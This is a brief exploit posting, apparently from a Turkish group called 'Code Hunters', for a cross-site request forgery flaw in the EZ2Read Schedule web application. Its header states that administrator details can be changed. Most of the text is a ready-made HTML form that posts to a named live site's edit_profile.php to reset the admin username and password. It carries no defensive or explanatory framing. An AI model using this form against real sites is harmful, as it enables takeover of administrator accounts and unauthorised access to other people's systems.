EZ2Read Schedule XSRF Vuln. | CH

< ------------------- header data start ------------------- >


#############################################################

# Application Name :EZ2Read Schedule

# Vulnerable Type : XSRF

# Infection : Administrator bilgileri Değiştirilebilir.

# author : M-K-A | Code Hunters

# Demo : https://tik.lat/ns7Ac

#############################################################


< ------------------- header data end of ------------------- >


< -- bug code start -- >

<form action="http://www.stomper.net/schedulephp/edit_profile.php" method="post" name="form1" onsubmit="return form_valid()">
<input name="form[AdminUserName]" value="admin" size="30" maxlength="20">
<input type="password" name="form[AdminPassword]" maxlength="20">
<input type="password" name="form[AdminPassword2]">
<input type="Submit" name="FromForm" value="Save" class="sbmt">
</form>
< -- bug code end of -- >